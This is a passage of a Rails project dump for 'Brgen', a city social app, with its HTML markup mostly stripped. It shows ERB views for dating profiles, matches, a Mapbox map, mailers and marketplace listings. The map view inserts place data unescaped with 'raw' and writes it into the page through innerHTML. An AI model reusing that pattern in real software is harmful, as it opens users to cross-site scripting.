profile.user.email_address.first.upcase %&gt;\n        \n      &lt;% end %&gt;\n      \n\n        \n\n          \n&lt;%= profile.user.email_address.split(\"@\").first %&gt;&lt;% if profile.age %&gt;, &lt;%= profile.age %&gt;&lt;% end %&gt;\n          &lt;% if profile.location.present? %&gt;\n&lt;%= profile.location %&gt;&lt;% end %&gt;\n          &lt;% if profile.neighborhood&amp;.name.present? %&gt;\n&lt;%= profile.neighborhood.name %&gt;&lt;% end %&gt;\n        \n        &lt;%= profile.visible? ? \"visible\" : \"paused\" %&gt;\n      \n      &lt;% if profile.bio.present? %&gt;\n&lt;%= profile.bio %&gt;&lt;% end %&gt;\n      \n\n        &lt;% if profile.gender.present? %&gt;&lt;%= profile.gender %&gt;&lt;% end %&gt;\n        &lt;% if profile.looking_for.present? %&gt;Looking for &lt;%= profile.looking_for %&gt;&lt;% end %&gt;\n      \n      &lt;% if authenticated? %&gt;\n        \n\n          &lt;%= button_to \"Like\", dating_likes_path(user_id: profile.user_id), method: :post, class: \"btn\" %&gt;\n          &lt;%= button_to \"Pass\", dating_dislikes_path(user_id: profile.user_id), method: :post, class: \"btn btn-ghost\" %&gt;\n        \n      &lt;% else %&gt;\n        \n&lt;%= link_to \"Sign in\", new_session_path %&gt; to like or pass.\n      &lt;% end %&gt;\n    \n  &lt;% end %&gt;\n  &lt;% if @profiles.empty? %&gt;\n    \n\nNo profiles nearby. &lt;%= authenticated? ? link_to(\"Edit your profile\", edit_dating_profile_path) : link_to(\"Sign in\", new_session_path) %&gt;.\n  &lt;% end %&gt;\n\n&lt;%= @pagy.series_nav if @pagy&amp;.pages.to_i &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/dating/matches/index.html.erb`\n```erb\n&lt;% content_for :title, \"Matches\" %&gt;\n\n\n\n  \nMatches\n  &lt;%= link_to \"Discover\", dating_root_path, class: \"btn btn-ghost btn-sm\" %&gt;\n\n\n&lt;% if @matches.none? %&gt;\n  \n\nNo matches yet.\n&lt;% else %&gt;\n  &lt;% @matches.each do |m| %&gt;\n    &lt;% other = m.other_user(Current.user) %&gt;\n    \n\n      &lt;% if other.dating_profile&amp;.photos&amp;.attached? %&gt;\n        &lt;%= image_tag other.dating_profile.photos.first, style: \"width:40px;height:40px;border-radius:50%;object-fit:cover;float:left;margin-right:12px\" %&gt;\n      &lt;% end %&gt;\n      &lt;%= other.email_address.split(\"@\").first %&gt;\n      \nMatched\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/dating/profiles/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit profile\" %&gt;\n\n\n\nEdit profile\n\n\n\n  &lt;%= form_with model: @profile, url: dating_profile_path, method: :patch do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @profile %&gt;\n    \n&lt;%= f.label :bio, \"About you\" %&gt;&lt;%= f.text_area :bio, rows: 4, maxlength: 500 %&gt;\n    \n&lt;%= f.label :gender %&gt;&lt;%= f.select :gender, Dating::Profile::GENDERS, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :looking_for, \"Looking for\" %&gt;&lt;%= f.select :looking_for, Dating::Profile::LOOKING_FOR, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :age %&gt;&lt;%= f.number_field :age, min: 18, max: 99 %&gt;\n    \n&lt;%= f.label :location %&gt;&lt;%= f.text_field :location %&gt;\n    \n\n      &lt;%= f.label :neighborhood_id, \"Bydel / Neighbourhood\" %&gt;\n      &lt;%= f.select :neighborhood_id, @neighborhoods.map { |n| [n.name, n.id] }, { include_blank: \"\u2014\" } %&gt;\n    \n    \n&lt;%= f.label :photos, \"Photos\" %&gt;&lt;%= f.file_field :photos, multiple: true, accept: \"image/*\" %&gt;\n    \n&lt;%= f.check_box :visible %&gt;&lt;%= f.label :visible, \"Make profile visible\" %&gt;\n    \n&lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/dating/profiles/new.html.erb`\n```erb\n&lt;% content_for :title, \"Create profile\" %&gt;\n\n\n\nCreate your profile\n\n\n\n  &lt;%= form_with model: @profile, url: dating_profile_path do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @profile %&gt;\n    \n&lt;%= f.label :bio, \"About you\" %&gt;&lt;%= f.text_area :bio, rows: 4, maxlength: 500 %&gt;\n    \n&lt;%= f.label :gender %&gt;&lt;%= f.select :gender, Dating::Profile::GENDERS, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :looking_for, \"Looking for\" %&gt;&lt;%= f.select :looking_for, Dating::Profile::LOOKING_FOR, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :age %&gt;&lt;%= f.number_field :age, min: 18, max: 99 %&gt;\n    \n&lt;%= f.label :location %&gt;&lt;%= f.text_field :location %&gt;\n    \n\n      &lt;%= f.label :neighborhood_id, \"Bydel / Neighbourhood\" %&gt;\n      &lt;%= f.select :neighborhood_id, @neighborhoods.map { |n| [n.name, n.id] }, { include_blank: \"\u2014\" } %&gt;\n    \n    \n&lt;%= f.label :photos, \"Photos\" %&gt;&lt;%= f.file_field :photos, multiple: true, accept: \"image/*\" %&gt;\n    \n&lt;%= f.check_box :visible %&gt;&lt;%= f.label :visible, \"Make profile visible\" %&gt;\n    \n&lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/dating/profiles/show.html.erb`\n```erb\n&lt;% content_for :title, \"Your profile\" %&gt;\n\n\n\n  \nYour profile\n  &lt;%= link_to \"Edit\", edit_dating_profile_path, class: \"btn btn-ghost btn-sm\" %&gt;\n\n\n&lt;% if @profile.photos.attached? %&gt;\n  \n\n    &lt;% @profile.photos.each do |photo| %&gt;\n      &lt;%= image_tag photo, style: \"width:96px;height:96px;object-fit:cover;border-radius:6px\" %&gt;\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n\n\n\n  \nBio&lt;%= @profile.bio.presence || \"\u2014\" %&gt;\n\n\n\n\n  \n\n    Age \u00b7 &lt;%= @profile.age || \"\u2014\" %&gt;\n    &nbsp;\n    Gender \u00b7 &lt;%= @profile.gender || \"\u2014\" %&gt;\n    &nbsp;\n    Looking for \u00b7 &lt;%= @profile.looking_for || \"\u2014\" %&gt;\n  \n\n\n\n\n  \n\n    Location \u00b7 &lt;%= @profile.location.presence || \"\u2014\" %&gt;\n    &lt;% if @profile.neighborhood&amp;.name.present? %&gt; \u00b7 Bydel \u00b7 &lt;%= @profile.neighborhood.name %&gt;&lt;% end %&gt;\n    &nbsp;\n    Visibility \u00b7\n    &lt;% if @profile.visible? %&gt;\n      visible\n    &lt;% else %&gt;\n      hidden\n    &lt;% end %&gt;\n  \n\n\n\n\n  \n\n    Your profile is &lt;%= @profile.visible? ? \"visible to others in your city\" : \"hidden \u2014 no one can see it\" %&gt;.\n    &lt;%= link_to(@profile.visible? ? \"Hide profile\" : \"Show profile\", edit_dating_profile_path, style: \"color:inherit;text-decoration:underline\") %&gt;.\n  \n\n```\n\n## `rails/brgen/app/views/email_subscription_mailer/confirm.html.erb`\n```erb\n\nThanks for signing up to Brgen city updates.\n\nConfirm subscription\n\nIf you didn't sign up, ignore this email.\nUnsubscribe\n```\n\n## `rails/brgen/app/views/email_subscription_mailer/confirm.text.erb`\n```erb\nThanks for signing up to Brgen city updates.\n\nConfirm: &lt;%= @confirm_url %&gt;\n\nIf you didn't sign up, ignore this email.\nUnsubscribe: &lt;%= @unsubscribe_url %&gt;\n```\n\n## `rails/brgen/app/views/follows/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace \"follow_#{@user.id}\" do %&gt;\n  &lt;%= render \"shared/follow_button\", user: @user, active: @active %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/home/index.html.erb`\n```erb\n&lt;% unless authenticated? %&gt;\n  &lt;% content_for :splash do %&gt;\n    \n\n      \nBrgen\n      \nCity-native social. Post, vote, discover local communities across Europe and beyond.\n      \n\n        &lt;%= link_to \"sign in\", new_session_path %&gt;\n        markedsplass\n        tv\n        dating\n        playlist\n        takeaway\n      \n      \ntap anywhere to browse \u00b7 &lt;%= link_to \"sign in\", new_session_path %&gt; to post\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n\n&lt;% content_for :widgets do %&gt;\n  \n\n    \nCommunities\n    \n\n      &lt;% @communities.each do |c| %&gt;\n        \n&lt;%= link_to c.name, community_path(c) %&gt;\n      &lt;% end %&gt;\n    \n    &lt;% if authenticated? %&gt;\n      \n&lt;%= link_to \"+ New community\", new_community_path, class: \"btn btn-ghost btn-sm\" %&gt;\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n\n\n\n  Hot\n  &lt;%= link_to \"Latest\", posts_path(sort: \"fresh\"), class: \"sort-tab\" %&gt;\n\n\n&lt;% if @posts.any? %&gt;\n  &lt;% @posts.each do |post| %&gt;\n    &lt;%= render \"posts/post\", post: post %&gt;\n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\n    \nNo posts yet. &lt;%= authenticated? ? link_to(\"Create one\", new_post_path) : link_to(\"Sign in to post\", new_session_path) %&gt;.\n  \n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/layouts/application.html.erb`\n```erb\n\n\n\n  &lt;%= tag.meta charset: \"utf-8\" %&gt;\n  &lt;%= tag.meta name: \"viewport\", content: \"width=device-width,initial-scale=1,viewport-fit=cover\" %&gt;\n  &lt;%= tag.meta name: \"mobile-web-app-capable\", content: \"yes\" %&gt;\n  &lt;%= tag.meta name: \"color-scheme\", content: \"dark\" %&gt;\n  &lt;%= tag.meta name: \"theme-color\", content: \"#000000\" %&gt;\n  &lt;%= content_for?(:title) ? \"#{yield :title} \u2014 Brgen\" : \"Brgen\" %&gt;\n  \"&gt;\n  \"&gt;\n  \n  \"&gt;\n  \"&gt;\n  \n  \n  \n  \"&gt;\n  \"&gt;\n  \n  \n  &lt;%= tag.link rel: \"manifest\", href: pwa_manifest_path(format: :json) %&gt;\n  &lt;%= csrf_meta_tags %&gt;\n  &lt;%= csp_meta_tag %&gt;\n  &lt;%= stylesheet_link_tag \"application\", \"data-turbo-track\": \"reload\" %&gt;\n  \n  \"&gt;\n  &lt;%= yield :json_ld %&gt;\n  &lt;%= javascript_importmap_tags %&gt;\n  &lt;%= render \"shared/minimal_ui\" %&gt;\n\n\n  \n\n  \n\n  \n\n  &lt;% if Current.user %&gt;\n    &lt;%= turbo_stream_from \"nearby_alerts_#{Current.user.id}\" %&gt;\n    &lt;% unread = Conversation.for_user(Current.user).sum { |c| c.unread_count_for(Current.user) } %&gt;\n    \n\"\n         data-push-subscribe-url-value=\"&lt;%= push_subscriptions_path %&gt;\"\n         data-push-unread-value=\"&lt;%= unread %&gt;\"\n         data-turbo-permanent&gt;\n    Enable notifications\n  &lt;% end %&gt;\n\n  \n\n    \n\n      brgen.no\n      longyearbyn.nooshlo.no\n      stvanger.notrmso.no\n      trndheim.noreykjavk.is\n      kbenhvn.dkstholm.se\n      mlmoe.segtebrg.se\n      hlsinki.filndon.uk\n      mnchester.ukedinbrgh.uk\n      glasgw.ukamstrdam.nl\n      rottrdam.nlbrssels.be\n      frankfrt.dezrich.ch\n      mlan.itbrdeaux.fr\n      lisbon.ptwrsawa.pl\n      newyrk.uslsangeles.com\n      chcago.ushoustn.us\n    \n  \n\n  &lt;% if content_for?(:splash) %&gt;\n    \n\n      &lt;%= yield :splash %&gt;\n    \n  &lt;% end %&gt;\n\n  \n\n    \n\n      \n\n        &lt;%= link_to root_path, class: \"brand\", aria: { label: \"Brgen\" } do %&gt;\n          B\n        &lt;% end %&gt;\n        \n\n          &lt;% nav_cls = -&gt;(path) { \"nav-item#{\" active\" if current_page?(path)}\" } %&gt;\n          &lt;%= link_to root_path, class: nav_cls.(root_path) do %&gt;\n            \n            Home\n          &lt;% end %&gt;\n          &lt;%= link_to communities_path, class: nav_cls.(communities_path) do %&gt;\n            \n            Explore\n          &lt;% end %&gt;\n          &lt;%= link_to posts_path, class: nav_cls.(posts_path) do %&gt;\n            \n            Notifications\n          &lt;% end %&gt;\n          &lt;%= link_to conversations_path, class: nav_cls.(conversations_path) do %&gt;\n            \n            Messages\n          &lt;% end %&gt;\n          &lt;%= link_to nearby_path, class: nav_cls.(nearby_path) do %&gt;\n            \n            Lists\n          &lt;% end %&gt;\n          &lt;% if authenticated? %&gt;\n            &lt;%= link_to session_path, class: \"nav-item\", data: { turbo_method: :delete } do %&gt;\n              \n              Profile\n            &lt;% end %&gt;\n          &lt;% else %&gt;\n            &lt;%= link_to new_session_path, class: nav_cls.(new_session_path) do %&gt;\n              \n              Sign in\n            &lt;% end %&gt;\n          &lt;% end %&gt;\n        \n        \n          \n          Post\n        \n      \n\n      \n\n        \n\n          \n&lt;%= content_for?(:title) ? yield(:title) : \"Home\" %&gt;\n          \n\n            For you\n            Following\n          \n        \n        &lt;% if current_page?(root_path) &amp;&amp; Current.user.present? %&gt;\n          \n\n            \n\n            \n\n              &lt;%= link_to \"What's happening?\", new_post_path, class: \"compose-prompt\" %&gt;\n              \n\n                \n\n                  \ud83d\udcf7\ud83d\udcca\ud83d\ude0a\ud83d\udccd\n                \n                &lt;%= link_to \"Post\", new_post_path, class: \"btn btn-primary\" %&gt;\n              \n            \n          \n        &lt;% end %&gt;\n        &lt;%= tag.p(notice, role: \"status\", class: \"flash-notice\") if notice %&gt;\n        &lt;%= tag.p(alert, role: \"alert\", class: \"flash-alert\") if alert %&gt;\n        &lt;%= yield %&gt;\n      \n\n      \n\n        \n\n          \n          \n        \n        &lt;%= yield :widgets %&gt;\n        \n\n          \nWhat's happening\n          \nCity communities across Scandinavia and Europe.\n        \n        \n\n          \nWho to follow\n          \nbrgen.no Follow\n          \nlongyearbyn.no Follow\n        \n        &lt;%= render \"shared/email_subscribe\" %&gt;\n      \n    \n\n    \n\n      &lt;%= link_to root_path, class: \"tab-item\" do %&gt;\n        \n      &lt;% end %&gt;\n      &lt;%= link_to communities_path, class: \"tab-item\" do %&gt;\n        \n      &lt;% end %&gt;\n      &lt;%= link_to posts_path, class: \"tab-item\" do %&gt;\n        \n      &lt;% end %&gt;\n      &lt;%= link_to conversations_path, class: \"tab-item\" do %&gt;\n        \n      &lt;% end %&gt;\n      &lt;%= link_to nearby_path, class: \"tab-item\" do %&gt;\n        \n      &lt;% end %&gt;\n    \n  \n\n\n```\n\n## `rails/brgen/app/views/layouts/mailer.html.erb`\n```erb\n\n\n  \n    \n    \n      /* Email styles need to be inline */\n    \n  \n\n  \n    &lt;%= yield %&gt;\n  \n\n```\n\n## `rails/brgen/app/views/layouts/mailer.text.erb`\n```erb\n&lt;%= yield %&gt;\n```\n\n## `rails/brgen/app/views/maps/home/index.html.erb`\n```erb\n&lt;% content_for :title, \"Map\" %&gt;\n&lt;% content_for :head do %&gt;\n  \n  \n&lt;% end %&gt;\n\n\n\n\n\n\n  \n\n    \n  \n  \n\n\n\n\n  mapboxgl.accessToken = \"&lt;%= @mapbox_token %&gt;\";\n  const map = new mapboxgl.Map({\n    container: \"map\",\n    style: \"mapbox://styles/mapbox/dark-v11\",\n    center: [5.33, 60.39],\n    zoom: 12\n  });\n  map.addControl(new mapboxgl.NavigationControl(), \"bottom-right\");\n  map.addControl(new mapboxgl.GeolocateControl({ positionOptions: { enableHighAccuracy: true }, trackUserLocation: true }), \"bottom-right\");\n\n  const places = &lt;%= raw @places_json %&gt;;\n  const popup = document.getElementById(\"place-popup\");\n  const markers = [];\n\n  function renderMarkers(list) {\n    markers.forEach(m =&gt; m.remove());\n    markers.length = 0;\n    list.forEach(p =&gt; {\n      if (!p.lat || !p.lng) return;\n      const el = document.createElement(\"div\");\n      el.style.cssText = \"width:10px;height:10px;border-radius:50%;background:var(--accent,#fff);border:2px solid #000;cursor:pointer\";\n      const m = new mapboxgl.Marker(el).setLngLat([p.lng, p.lat]).addTo(map);\n      el.addEventListener(\"click\", () =&gt; {\n        popup.style.display = \"block\";\n        popup.innerHTML = `${p.name}${p.kind}${p.neighborhood ? \" \u00b7 \" + p.neighborhood : \"\"}`;\n        map.flyTo({ center: [p.lng, p.lat], zoom: 15 });\n      });\n      markers.push(m);\n    });\n  }\n\n  map.on(\"load\", () =&gt; renderMarkers(places));\n\n  document.getElementById(\"map-search\").addEventListener(\"input\", e =&gt; {\n    const q = e.target.value.toLowerCase();\n    renderMarkers(q ? places.filter(p =&gt; p.name.toLowerCase().includes(q) || (p.kind || \"\").toLowerCase().includes(q)) : places);\n  });\n\n  document.addEventListener(\"click\", e =&gt; {\n    if (!popup.contains(e.target) &amp;&amp; e.target.id !== \"map-search\") popup.style.display = \"none\";\n  });\n\n```\n\n## `rails/brgen/app/views/marketplace/carts/show.html.erb`\n```erb\n&lt;% content_for :title, \"Your Cart\" %&gt;\n\n\n\n  \nYour Cart\n  \n&lt;%= pluralize(@cart_items.size, \"item\") %&gt;\n\n\n&lt;% if @cart_items.any? %&gt;\n  \n\n    &lt;% @cart_items.each do |item| %&gt;\n      \n\n        \n\n          &lt;%= link_to item.listing.title, marketplace_listing_path(item.listing) %&gt;\n          \n&lt;%= item.listing.price_display %&gt; \u00d7 &lt;%= item.quantity || 1 %&gt;\n        \n        \n\n          &lt;%= item.total_display %&gt;\n          \n\n            &lt;%= button_to \"Remove\", marketplace_listing_order_path(item.listing, item),\n                  method: :patch, params: { decline: true }, class: \"btn btn-ghost btn-sm\" %&gt;\n          \n        \n      \n    &lt;% end %&gt;\n  \n\n  \n\n    \nTotal: &lt;%= @cart_total / 100.0 %&gt; NOK\n    \nThis will send offers to the sellers. They can accept or decline individually.\n\n    &lt;%= button_to \"Send all offers\", \"#\", class: \"btn btn-primary\", disabled: true %&gt;\n    \n(One-click checkout coming soon)\n  \n&lt;% else %&gt;\n  \nYour cart is empty. &lt;%= link_to \"Browse the marketplace\", marketplace_root_path %&gt;.\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/categories/show.html.erb`\n```erb\n&lt;% content_for :title, @category.name %&gt;\n\n\n\n&lt;%= @category.name %&gt;\n\n&lt;% @listings.each do |l| %&gt;\n  \n\n    \n&lt;%= link_to l.title, marketplace_listing_path(l) %&gt;\n    \n&lt;%= l.price_display %&gt;\n  \n&lt;% end %&gt;\n&lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/deals/index.html.erb`\n```erb\n&lt;% content_for :title, t(\"marketplace.deals.title\", default: \"Deals\") %&gt;\n\n&lt;%= tag.section class: \"marketplace-deals\" do %&gt;\n  &lt;%= tag.header do %&gt;\n    &lt;%= tag.h1 t(\"marketplace.deals.title\", default: \"Deals\") %&gt;\n  &lt;% end %&gt;\n\n  &lt;% if @featured_deals.any? %&gt;\n    &lt;%= tag.section class: \"featured-deals\" do %&gt;\n      &lt;%= tag.h2 t(\"marketplace.deals.featured\", default: \"Featured deals\") %&gt;\n      &lt;% @featured_deals.each do |deal| %&gt;\n        &lt;%= tag.article class: \"deal-card featured\" do %&gt;\n          &lt;%= tag.h3 link_to(deal.headline, marketplace_deal_path(deal)) %&gt;\n          &lt;%= tag.p deal.badge if deal.badge.present? %&gt;\n        &lt;% end %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.div class: \"deal-grid\" do %&gt;\n    &lt;% @deals.each do |deal| %&gt;\n      &lt;%= tag.article class: \"deal-card\" do %&gt;\n        &lt;%= tag.h2 link_to(deal.headline, marketplace_deal_path(deal)) %&gt;\n        &lt;%= tag.p deal.listing.title %&gt;\n        &lt;%= tag.p deal.listing.price_display %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/deals/show.html.erb`\n```erb\n&lt;% content_for :title, @deal.headline %&gt;\n\n&lt;%= tag.article class: \"marketplace-deal\" do %&gt;\n  &lt;%= tag.header do %&gt;\n    &lt;%= tag.h1 @deal.headline %&gt;\n    &lt;%= tag.p @deal.badge if @deal.badge.present? %&gt;\n  &lt;% end %&gt;\n\n  &lt;%= tag.section class: \"deal-listing\" do %&gt;\n    &lt;%= tag.h2 link_to(@listing.title, marketplace_listing_path(@listing)) %&gt;\n    &lt;%= tag.p @listing.price_display %&gt;\n    &lt;%= tag.p @listing.description if @listing.description.present? %&gt;\n  &lt;% end %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/listings/_card.html.erb`\n```erb\n\n\n  \n    &lt;% if listing.photos.attached? %&gt;\n      &lt;%= image_tag listing.photos.first, alt: listing.title %&gt;\n    &lt;% else %&gt;\n      &lt;%= listing.title.first %&gt;\n    &lt;% end %&gt;\n  \n  \n\n    \n&lt;%= listing.title %&gt;\n    \n&lt;%= listing.location %&gt; \u00b7 &lt;%= listing.condition %&gt;\n    \n&lt;%= listing.category&amp;.name %&gt; \u00b7 &lt;%= pluralize(listing.views_count.to_i, \"view\") %&gt;\n    \n&lt;%= listing.price_display %&gt;\n  \n\n  \n\n    &lt;%= link_to \"View deal\", marketplace_listing_path(listing), class: \"deal-cta\" %&gt;\n    &lt;% if authenticated? %&gt;\n      &lt;%= button_to \"Add to cart\", marketplace_listing_orders_path(listing),\n            params: { quantity: 1 },\n            class: \"btn btn-sm btn-ghost\" %&gt;\n    &lt;% end %&gt;\n  \n\n```\n\n## `rails/brgen/app/views/marketplace/listings/edit.html.erb`\n```erb\n&lt;% content_for :title, \"Edit listing\" %&gt;\n\n\n\nEdit listing\n\n\n\n  &lt;%= form_with model: @listing, url: marketplace_listing_path(@listing), method: :patch do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @listing %&gt;\n    \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 4 %&gt;\n    \n&lt;%= f.label :price_cents, \"Price (\u00f8re)\" %&gt;&lt;%= f.number_field :price_cents %&gt;\n    \n&lt;%= f.label :condition %&gt;&lt;%= f.select :condition, Marketplace::Listing::CONDITIONS, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :category_id, \"Category\" %&gt;&lt;%= f.collection_select :category_id, @categories, :id, :name, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :location %&gt;&lt;%= f.text_field :location %&gt;\n    \n&lt;%= f.label :status %&gt;&lt;%= f.select :status, Marketplace::Listing::STATUSES %&gt;\n    \n&lt;%= f.label :photos %&gt;&lt;%= f.file_field :photos, multiple: true, accept: \"image/*\" %&gt;\n    \n&lt;%= f.submit \"Save\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/marketplace/listings/index.html.erb`\n```erb\n&lt;% content_for :title, \"Markedsplass\" %&gt;\n\n&lt;% unless authenticated? %&gt;\n  &lt;% content_for :splash do %&gt;\n    \n\n      \nMarkedsplass\n      \nBuy and sell in your neighbourhood. Local listings in every city, in every language.\n      \n\n        list a product\n        browse categories\n        buyer\u2013seller chat\n        geo listings\n      \n      \ntap anywhere to browse \u00b7 &lt;%= link_to \"sign in\", new_session_path, style: \"color:inherit\" %&gt; to sell\n    \n  &lt;% end %&gt;\n&lt;% end %&gt;\n\n\n\n  \nMarkedsplass\n  \n\n    &lt;%= link_to \"Sell\", new_marketplace_listing_path, class: \"btn btn-sm\" if authenticated? %&gt;\n    &lt;%= link_to \"Saved searches\", marketplace_saved_searches_path, class: \"btn btn-ghost btn-sm\" if authenticated? %&gt;\n    &lt;%= link_to \"Cart\", marketplace_cart_path, class: \"btn btn-ghost btn-sm\" if authenticated? %&gt;\n  \n\n\n\n\n  &lt;%= form_with url: marketplace_listings_path, method: :get, local: true do |f| %&gt;\n    &lt;%= f.text_field :q, value: params[:q], placeholder: \"Search deals\u2026\" %&gt;\n    &lt;%= f.select :category_id,\n          options_from_collection_for_select(@categories, :id, :name, params[:category_id]),\n          { include_blank: \"All categories\" } %&gt;\n    &lt;%= f.submit \"Search\", class: \"btn btn-sm\" %&gt;\n  &lt;% end %&gt;\n\n\n&lt;% if authenticated? &amp;&amp; (params[:q].present? || params[:category_id].present?) %&gt;\n  \n\n    &lt;%= form_with model: Marketplace::SavedSearch.new, url: marketplace_saved_searches_path do |form| %&gt;\n      &lt;%= form.hidden_field :query, value: params[:q] %&gt;\n      &lt;%= form.hidden_field :category_id, value: params[:category_id] %&gt;\n      &lt;%= form.hidden_field :location, value: params[:location] %&gt;\n      &lt;%= form.hidden_field :name, value: \"Marketplace search\" %&gt;\n      &lt;%= form.submit \"Save this search\", class: \"btn btn-ghost btn-sm\" %&gt;\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n\n&lt;% if @categories.any? %&gt;\n  \n\n    &lt;%= link_to \"All\", marketplace_listings_path, class: \"deal-cat#{\" active\" unless params[:category_id]}\" %&gt;\n    &lt;% @categories.each do |cat| %&gt;\n      &lt;%= link_to cat.name, marketplace_listings_path(category_id: cat.id, q: params[:q].presence), class: \"deal-cat#{\" active\" if params[:category_id].to_s == cat.id.to_s}\" %&gt;\n    &lt;% end %&gt;\n  \n&lt;% end %&gt;\n\n&lt;% if @listings.any? %&gt;\n  \n\n    &lt;% @listings.each do |listing| %&gt;\n      &lt;%= render \"marketplace/listings/card\", listing: listing %&gt;\n    &lt;% end %&gt;\n  \n\n  &lt;%# Futurism infinite scroll target (Pagy + Futurism pattern) %&gt;\n  &lt;% if @pagy.next %&gt;\n    \n\n      \nLoading more deals\u2026\n    \n  &lt;% end %&gt;\n&lt;% else %&gt;\n  \n\nNo listings match this search. &lt;%= link_to(\"Sell something\", new_marketplace_listing_path) if authenticated? %&gt;\n&lt;% end %&gt;\n\n&lt;% content_for :widgets do %&gt;\n  &lt;%= render \"shared/affiliate_deals\", category: params[:category_id] %&gt;\n  &lt;%= render \"shared/email_subscribe\" %&gt;\n&lt;% end %&gt;\n```\n\n## `rails/brgen/app/views/marketplace/listings/new.html.erb`\n```erb\n&lt;% content_for :title, \"New listing\" %&gt;\n\n\n\nNew listing\n\n\n\n  &lt;%= form_with model: @listing, url: marketplace_listings_path do |f| %&gt;\n    &lt;%= render \"shared/errors\", object: @listing %&gt;\n    \n&lt;%= f.label :title %&gt;&lt;%= f.text_field :title %&gt;\n    \n&lt;%= f.label :description %&gt;&lt;%= f.text_area :description, rows: 4 %&gt;\n    \n&lt;%= f.label :price_cents, \"Price (\u00f8re)\" %&gt;&lt;%= f.number_field :price_cents %&gt;\n    \n&lt;%= f.label :condition %&gt;&lt;%= f.select :condition, Marketplace::Listing::CONDITIONS, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :category_id, \"Category\" %&gt;&lt;%= f.collection_select :category_id, @categories, :id, :name, { include_blank: \"\u2014\" } %&gt;\n    \n&lt;%= f.label :location %&gt;&lt;%= f.text_field :location %&gt;\n    \n\n      &lt;%= f.file_field :photos,\n            multiple: true,\n            accept: \"image/*\",\n            capture: \"environment\",\n            class: \"media-input-hidden\",\n            data: { media_picker_target: \"input\", action: \"change-&gt;media-picker#pick\" } %&gt;\n      \n\n        \n          \n          Photos / Camera\n        \n      \n      \n\n      \n\n        &lt;% %w[none portrait landscape street blockbuster].each do |p| %&gt;\n          \n            &lt;%= f.radio_button :preset, p %&gt;\n            &lt;%= p.capitalize %&gt;\n          \n        &lt;% end %&gt;\n      \n    \n    \n&lt;%= f.submit \"List it\", class: \"btn btn-primary\" %&gt;\n  &lt;% end %&gt;\n\n```\n\n## `rails/brgen/app/views/marketplace/listings/show.html.erb`\n```erb\n&lt;% content_for :title, @listing.title %&gt;\n\n\n\n  \n\n    \nMarketplace / &lt;%= @listing.category&amp;.name || \"Listing\" %&gt;\n    \n&lt;%= @listing.title %&gt;\n  \n  \n\n    &lt;% if authenticated? &amp;&amp; Current.user == @listing.user %&gt;\n      &lt;%= link_to \"Edit\", edit_marketplace_listing_path(@listing), class: \"btn btn-ghost btn-sm\" %&gt;\n    &lt;% elsif authenticated? %&gt;\n      &lt;% if @listing.favorite_for(Current.user) %&gt;\n        &lt;%= button_to \"Unsave\", marketplace_listing_favorite_path(@listing), method: :delete, class: \"btn btn-ghost btn-sm\" %&gt;\n      &lt;% else %&gt;\n        &lt;%= button_to \"Save\", marketplace_listing_favorite_path(@listing), method: :post, class: \"btn btn-primary btn-sm\" %&gt;\n      &lt;% end %&gt;\n    &lt;% end %&gt;\n  \n\n\n&lt;%= render \"shared/media_gallery\", attachments: @listing.photos, title: @listing.title %&gt;\n\n\n\n  \n&lt;%= @listing.price_display %&gt;\n  \n&lt;%= @listing.condition %&gt; \u00b7 &lt;%= @listing.location %&gt; \u00b7 &lt;%= @listing.user.email_address.split(\"@\").first %&gt;\n  \n&lt;%= pluralize(@listing.views_count.to_i, \"view\") %&gt; \u00b7 &lt;%= pluralize(@listing.favorites.size, \"save\") %&gt; \u00b7 status: &lt;%= @listing.status %&gt;\n  \n&lt;%= simple_format(@listing.description) %&gt;\n  Share\n  &lt;% if !@listing.sold? &amp;&amp; authenticated? &amp;&amp; Current.user != @listing.user %&gt;\n    \n\n      &lt;%= button_to \"Add to cart\", marketplace_listing_orders_path(@listing),\n            params: { quantity: 1 },\n            class: \"btn btn-primary\" %&gt;\n\n      Make custom offer\n    \n  &lt;% end %&gt;\n\n\n&lt;% if authenticated? &amp;&amp; Current.user != @listing.user &amp;&amp; !@listing.sold? %&gt;\n  \n\n    \nMake an offer\n    \nSend a short message to the seller. They can accept or decline from this listing page.\n  